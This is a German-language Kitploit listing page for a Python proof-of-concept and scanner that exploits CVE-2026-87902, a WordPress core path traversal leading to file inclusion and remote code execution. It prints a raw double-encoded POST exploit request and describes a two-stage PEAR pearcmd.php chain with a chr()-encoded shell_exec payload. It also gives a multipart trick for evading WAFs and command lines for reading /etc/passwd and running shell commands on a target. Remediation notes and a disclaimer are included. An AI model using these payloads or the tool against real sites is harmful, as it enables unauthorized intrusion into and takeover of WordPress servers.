Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-87902 — Python-PoC und Scanner für CVE-2026-87902, einen Path-Traversal in WordPress Core, der zu LFI und PEAR-basierter RCE führt, mit WAF-Bypass und automatisierter Ausnutzung. | Kitploit
Tools/GitHubGitHub/bhideki/cve-2026-87902
SchwachstellenscannerSchwachstellenanalyseExploitationWebanwendungs-ExploitationWAF-UmgehungWebsicherheitPenetrationstestsRemote-Access-ToolPayload-Entwicklung
GitHubbhideki/cve-2026-87902

CVE-2026-87902

Python-PoC und Scanner für CVE-2026-87902, einen Path-Traversal in WordPress Core, der zu LFI und PEAR-basierter RCE führt, mit WAF-Bypass und automatisierter Ausnutzung.

1vor 1 TagNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-87902 — WordPress Core Path Traversal / LFI / RCE

Unauthentifizierte Local File Inclusion über doppelt kodierten Path Traversal im Page-Template-Resolver des WordPress-Cores, mit PEAR-basierter RCE-Kette.

Details zur Schwachstelle

FeldWert
CVECVE-2026-87902
CVSS9.2 (Kritisch) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWECWE-98 — Unsachgemäße Kontrolle des Dateinamens für Include/Require
BetroffenWordPress 4.7.0 – 7.1.1
BehobenWordPress 7.1.2 + Backports für alle unterstützten Branches
AuthKeine (unauthentifiziert)

Ursache

get_page_template() in wp-includes/template.php ruft urldecode() auf dem pagename-Query-Parameter auf, nachdem die Sanitisierung bereits ausgeführt wurde. Eine doppelt kodierte ../-Sequenz (%252E%252E%252F) passiert PHPs erste Dekodierung als %2E%2E%2F, übersteht sanitize_title_with_dashes() (welches %xx-Sequenzen beibehält) und wird anschließend durch WordPress' späten urldecode()-Aufruf zu ../ dekodiert — wodurch das Theme-Verzeichnis verlassen wird.

Die POST-Methode ist erforderlich, da redirect_canonical() bei Nicht-GET/HEAD-Anfragen frühzeitig zurückkehrt und so verhindert, dass der Pfad vor Erreichen des verwundbaren Codes normalisiert wird.

Ausnutzungsablauf

root@kitploit:~
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex

1. PHP decodes POST body:     templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves:     templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file

Auswirkung

  • Local File Inclusion — beliebige .php-Dateien außerhalb des Theme-Verzeichnisses werden eingebunden und ausgeführt
  • Remote Code Execution — über PEAR-pearcmd.php-Gadget-Kette (erfordert installiertes PEAR + register_argc_argv=On)

PEAR-RCE-Kette

Zwei anonyme POST-Anfragen erreichen RCE:

Stufe 1 — pearcmd.php per Traversal einbinden. Der Query-String /?+config-create+/<php-payload>+<output>.php wird zu PEARs argv. Der Befehl config-create schreibt angreiferkontrollierte Daten (inklusive PHP-Tags) in ein beschreibbares Verzeichnis.

Stufe 2 — Die von PEAR geschriebene Datei einbinden. Das eingebettete PHP wird mit Webserver-Rechten ausgeführt.

PHP-Payloads verwenden chr()-Kodierung (<?=shell_exec(chr(105).chr(100))?>), um Anführungszeichen zu vermeiden, die wp_magic_quotes()` escapen würde.

Tool

cve-2026-87902.py — automatisierter Checker + LFI-Scanner + PEAR-RCE-Exploit. Verwendet http.client für bytegenaue Request-Kontrolle (keine Re-Encoding durch Bibliotheken).

Voraussetzungen

Python 3.6+ (nur Standardbibliothek — keine pip-Abhängigkeiten)

Verwendung

root@kitploit:~
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check

# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart

# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7

# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com

# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable

# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"

# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname

# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
    --pear /usr/local/lib/php/pearcmd \
    --output /tmp/wp-rce-payload \
    --multipart --timeout 30

Funktionsweise

  1. Theme-Erkennung — extrahiert das aktive Theme aus dem HTML, prüft auf page-*-Verzeichnisse
  2. Seiten-Erkennung — fragt die REST-API nach veröffentlichten Seiten mit Standard-Templates ab
  3. Traversal-Test — durchläuft mehrere Tiefen (1-12) mit doppelt kodierten POST-Payloads
  4. WAF-Bypass — --multipart verpackt den Payload in multipart/form-data, um die Mustererkennung von WAFs zu umgehen
  5. LFI-Scan — bindet bekannte WordPress-Dateien ein und vergleicht Antwortgrößen mit der Baseline
  6. RCE — zweistufige PEAR-Kette mit chr()-kodierten Payloads

Ausgabe-Marker

MarkerBedeutung
[HIT]Datei wurde erfolgreich eingebunden
[---]Normale Antwort (Datei nicht eingebunden)
[???]Antwort weicht deutlich ab — eine Untersuchung lohnt sich
[WAF]Durch WAF blockiert (403)
[ERR]Verbindung fehlgeschlagen

Voraussetzungen

  • Das aktive Theme muss ein page-*-Verzeichnis enthalten (z. B. page-templates/)
  • Mindestens eine veröffentlichte Seite mit dem Standard-Template
  • WordPress-Version im betroffenen Bereich (ungepatcht)
  • Für RCE: PEAR pearcmd.php lesbar + register_argc_argv=On + beschreibbares /tmp

Behebung

Aktualisieren Sie auf WordPress 7.1.2 oder die neueste Sicherheitsversion für Ihren Branch (Backports bis 4.7 verfügbar).

Referenzen

  • Robert Ressl — CVE-2026-87902 Write-up
  • WordPress Security Advisory — GHSA-7hp8-65ch-5whp
  • Hadrian Vulnerability Alert

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bug-Bounty-Recherchen bereitgestellt. Verwenden Sie es nur gegen Systeme, für die Sie eine ausdrückliche Testgenehmigung besitzen. Unbefugter Zugriff auf Computersysteme ist illegal.

Tool herunterladen